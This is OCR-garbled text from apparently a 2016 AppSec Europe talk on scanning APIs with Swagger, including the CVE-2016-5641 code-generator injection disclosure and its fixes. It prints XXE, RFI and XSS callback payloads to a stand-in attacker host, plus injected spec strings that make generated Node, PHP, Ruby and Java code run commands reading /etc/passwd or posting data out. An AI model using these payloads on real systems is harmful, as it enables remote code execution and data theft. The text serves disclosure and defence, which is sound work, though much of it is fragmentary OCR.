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Understand Define

<?xml version="
<definitions \
targethanespace="http: //loc ..
xmlns :xsd="http hemas.xnlsnap.aq
xalns="htp://schenas.xnlsoap.org/sd
name="Aktienkurs"> |
<port name="AktienSoapport" binding
<soap:address location="http://loc
</port>
<message name="Aktie.Holewert">
<part name="body" element="xsd:Tra
</nessage>

</service>

</definitions> m
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Visibility and Coverage per API can be difficult

Broad attack surface over sets of APIs increases risk

Out of band and ‘blind’ events
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SOAP has a WSDL REST has ...

Swagger

<?xml version="1.0" encoding=
<definitions name="AktienKurs
targetNamespace="http://loc ...__.
xmlns:xsd="http://schemas.xmlsoap.or
xmlns="http://schemas.xmlsoap.org/wsd
<service name="AktienKurs">
<port name="AktienSoapPort" binding
<soap:address location="http://loc
</port>
<message name="Aktie.Holewert">
<part name="body" element="xsd:Tra
</message>

ENVIN AL

</service>

</definitions>
WSDL
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swagger.io

Starting January 1st 2016
the Swagger Specification OPEN The OAl is focused on creating,

evolving and promoting a vendor
has been donated to { A P } neutral AP| Description Format based

the on the Swagger Specification.
INITIATIVE

and has been renamed to
the
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2.0 Current Specification

3.0 OpenAPI.next
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Convert between Swaggerversions

API

blueprint Swaggerto and from API Blueprint

RAML Swaggerto and from RAML

<
S
o
=
O
-—
[ S
()
(®))
(@)
®©
=
w
=
()
>
c
(]
(&)
(@]
-+
G
3
|_

?APPSEC
EUROPE

Scanning with Swagger 8

MMXVI



v

YAML(for humans)

swagger: '2.0°
info:
version: 0.0.0
title: Simple API
paths:

/:
get:
responses:
200:

description:

> APPSEC
EUROPE

JSON (formachines)
{

"swagger" : "2.0",
“info" : {
"version" : "0.0.0",
"title" : "Simple API"

"parameters” : [ 1],
"responses” : {
"200" : {

1

"definitions” : { }

}

Scanning with Swagger

"description” : "OK"
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YAML (petstore.swagger.io/v2/swagger.yaml) JSON (petstore.swagger.io/v2/swagger.json)

o ‘This is a sample server Petstore server. You can find out more about Swagger at [http://s|
: "This is a sample server Petstore server. You can find out more about\

Swagger at [http://swagger.io] (http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).\
For this sample, you can use the api key ‘special-key' to test the authorization\
filters."

: "1.0.0"

Swagger Petstore"

: "http://swagger.io/terms/"

ttp://swagger. io/terms/",

apiteam@swagger. io"

ache 2.0",
http: //wwi.apache. org/licenses/LICENSE-2. 0. html"

"apiteam@swagger.io" swagger. io",
pache 2
http://www.apache.org/licenses/LICENSE-2.0.html"
"petstore.swagger.io"

HYA]

Everything about your Pets",
1{

"pet”

Everything about your Pets"

"Find out

-
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Operations about user"

"Find out more about our store"
“http://swagger.io"

inima

[\

"applicatio

app g

pplication/json”,
pplication/xml"

“produces": [
ppLication/xml"
“application/json”
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Is there a API definition document?

API definition document incomplete?

API definition document does not comply with specification?

API definition document is part of the application?
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Target

Target
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First Order ) @
= 1-to-1 request to response vulnerability observation =

=  Vulnerabilities observed in request channel
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First Order

= 1-to-1 request to response vulnerability observation
= Vulnerabilities observed in request channel

Out of Band

Vulnerability callback mechanism triggered outside of
main request/response channel, result visible in main
response channel

Stored variant occurs when external resource callback
is stored/cached and returned eventual main channel
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Second Order
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. Hostof Downstream services affected by request
o Log readers, service UI's, cluster architecture, downstream

applications
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First order
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Callback
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Out of Band
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How Vulnerabilities

can be left hidden in
your APIs
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Second Order (blind) Attacks

First Order Challenges Out of Band Interactions
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alert('xss');
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HTTP Proxy
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XML External Entity (XXE) Processing
<?xml version="1.0"7>
<! foo [ B
W/
T

<!ELEMENT foo ANY > l -
<! xxe "http://attacker.callback:3000/xxe" > Target -
I><foo>8xxe;</foo>

Remote File Inclusion (RFI)
<?php

( isset( $_GET & =
( $_GETI[' X»
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Cross Site Scripting (XSS)

Tal-'get _ = Target _ gl

SQL Injection (SQLi)
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Remote File Include (RFI)

- M""“—"#
Target
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PHP Remote File Include (PHP RFI)

HttpRequest("http://attacker.callback:3000/rfi/php/success",

$req
$req-~headers ["Connection"] "close";
$req->send() ("Couldn't send!");
echo( $req->getResponseBody() );

“GET");
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XML eXternal Entity (XXE)

Y >
“http://attacker.callback:3000/xxe/succesd" >]>< 00>
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Cross Site Scripting (XSS)

0 XMLHttpRequest();

o.open('GET', 'http://attacker.callback:3000/xss—-success');
o.send();
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New techniques in

API security testing

iy
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Disclosure Process Exploitation Demonstration Patch & Possible Solutions

Proper escaping, sanitization and context awareness

Inline variable or comment definition or assignment

Template delimiters and runtime partials

Understand the API: scenarios
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CVE-2016-5641 / R7-2016-05

NEWS

among top threats
thatlay ahead

e QBTESTUEITN DataBreach  DeepWeb  Digital ID Hacktivis|
SCCONGRESS  SCEXTR i . m
Malware  Mobile  Reports [ESBTILE Social Networks Terrorism X

ixecution flaw

June 23, 2016

Rapid7 discl: te code tion flaw in

1 Rapid? researchers warn businesses of remote

JapanEdiion v Blog  ADA MR-/t~ SRWEESS— v

WASHSOBRSE
ZDNet Japan B
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Swagger|ZRZIREESE1E. NodelS, PHP,
Ruby. Javai@&EDI—RSIRL—FICRE
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Severe Swagger vulnerability
compromises NodeJS, PHP, Java

Alongside Ruby and similar languages, the severe flaw allows attackers to
o

48 108299

remotely execute c

PR IBMIEAT 505 K- AOBBESY —CAIMIL ? HERNARS |
PRI SATEANG? (2740 AT & (ATSTO - AML-3)

ISwagger] (T, NodelS. PHP. Ruby. Java®dI— KSIHRL—HY—
NCERERETRBEFRAEAL.

?APPSEC
EUROPE

MMXVI

Code generator for Swagger spec vulnerable to
Swagger remote code execution

NodeJ$. Ruby, PHP, Java

This disclosure of an unpatched Remote Code Exec flaw in
the Swagger API framework compromises NodeJS, Ruby,
- PHP, and Java.

—
e S threat(post) | I EER K

Security
Swagger staggered as hacker drops dapper
code execution cracker
Silent maintainers put on notice

, ; _

UNPATCHED REMOTE CODE EXECUTION FLAW EXISTS IN
SWAGGER

‘Michael Mimoso [ERENICY
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CVE-2016-5641 / R7-2016-05

... code generators trust ... parameters ... to generate ... code.

Targets
= API developers?
» CodeGen Artifact Hosting (2nd order attack / blind code-gen)
= Hosted Documentation
» github.com/<foo>/mal-swagger.json
» swaggerhub.com/<foo>/mal-swagger-project
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CVE-2016-5641 / R7-2016-05

TL;DR;

Metasploit exploit module: multi/fileformat/swagger_param_inject

https://github.com/rapid 7/metasploit-framework/blob/master/modul es/exploits/multi/fileformat/swagger param inject.rb
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Malicious Swagger
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Code Generation

Scanning with Swagger

spring-myc dynamic-htmiaspnets
b v
b %,
amlrlold SWifl javascript « 2

)
ll perl °° %

| swagger
sinatra “sn“danlll:gnam
SC ra
er-yaml silex-PHP

\\*/ :jff’r:"’"::":"m

Infected Codebase
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javascript (node)

Strings within keys inside the 'paths’ object of a swagger document can be written in the following manner and generate executable nodejs.

"paths": {
"/a');}:}:;return exports;}));console.log('RCE'); (function(){}(this,function(){a=function(){b=function(){new Array('": {

php

Strings within the 'description’ object in the definitions section of a swagger document can inject comments and inline php code. The following is 'cat /etc/passwd' in hex character
encoding, passed to the system command in commented code.

"definitions": {
"d": {
"type": "object",
"*/ echo system(chr(0x63).chr(0x61).chr(0x74).chr(0x20).chr(0x2f).chr(0x65).chr(0x74).chr(0x63).chr(0x2f).chr(0x70).c
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"description":
hr(0x61).chr(0x73).chr(0x73).chr(0x77).chr(0x64) ); /*",

echo system(chr(0x63) .chr(0x61) . chr(0x74) .chr(0x20) . chr(0x2f) .chr(0x65) . chr(0x74) . chr(0x63) . chr(0x2f) .chr(0x70) .chr(0x61) .chr(0x73).chr(0x73).chr(0x77) .chr(ox64) - );

Scanning with Swagger 36

MMXVI



ruby

Strings in 'description’ and 'title' of a swagger document can be used in unison to terminate block comments, and inject inline ruby code.

"info": {
"description": "=begin",
"title": "=end “curl -X POST -d \"fizz=buzz\" http://requestb.in/lftnzfyl™"

“curl X POST -d "fizz=buzz" http://requestb.in/1c9nlebl’

java

Strings within keys inside the 'paths' object of a swagger document can be written in the following manner and generate executable Java.
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"paths": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\");}catch(Exception e){} \"":

String localVarPath = "/a"; {java.lang.Runtime.getRuntime()" exec("cat /etc/passwd");} (Exception e){} "".replaceAll("\\{format\\}","json");

37
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/\ Code Generation

‘ ssearserse!
spring-myc dynamic-htmiaspnets
typescript-node

amlrolu tvnescrlm -angular.;,

SIS,

Fendior m— fs /] “'I"“:a':,., iy
\_m/\J ‘ \L csI::::leﬂ
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CodeGen Parameter Injection concerns

Proper escaping, sanitization and context awareness

Inline variable or comment definition or assignment

Template delimiters and runtime partials
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“Fix it now”

https://github.com/swagger-api/swagger-codegen/pull/3201
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php

Strings within the 'description' object in the definitions section of a swagger document can inject comments and inline php code. The following is 'cat /etc/passwd' in hex character
encoding, passed to the system command in commented code.

eee [J ° °
eemitions: ¢ CHfoOrce single line comments for variables (escaped)
"d": {
"type": "object",
"description": "*/ echo system(chr(0x63).chr(0x61).chr(0x74).chr(0x20).chr(0x2£f).chr(0x65).chr(0x74).chr(0x63).chr(0x2£f).chr(0x70).c
hr(0x61).chr(0x73).chr(0x73).chr(0x77).chr(0x64) ); /*",

ruby

Strings in 'description' and 'title' of a swagger document can be used in unison to terminate block comments, and inject inline ruby code.
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enforce single line comments for variables (unescaped)

"info": {

"description": "=begin",
"title": "=end “curl -X POST -d \"fizz=buzz\" http://requestb.in/lftnzfyl™"

41
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javascript (node)

Strings within keys inside the 'paths' object of a swagger document can be written in the following manner and generate executable nodejs.

o encode ', in single quoted path strings

"/a');};}i;return exports;}));console.log('RCE'); (function(){}(this,function(){a=function(){b=function(){new Array('": {

this.apiClient.callApi

'/a%27);}; };return exports;}));console. log(%27RCE%27) ; (function(){}(this, function(){a=function(){b=function(){new Array(%27',

java

Strings within keys inside the 'paths' object of a swagger document can be written in the following manner and generate executable Java.

encode “, in double quoted path strings

"paths": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\");}catch(Exception e){} \"":
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String localVarPath = "/a%22; try{java.lang.Runtime.getRuntime().exec(%22cat /etc/passwd%22);}catch(Exception e){} %22".replaceAll("\\{format\\}","json");

Scanning with Swagger 42

MMXVI




Secure

Systemwide

Solution
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A job for a centralized security control
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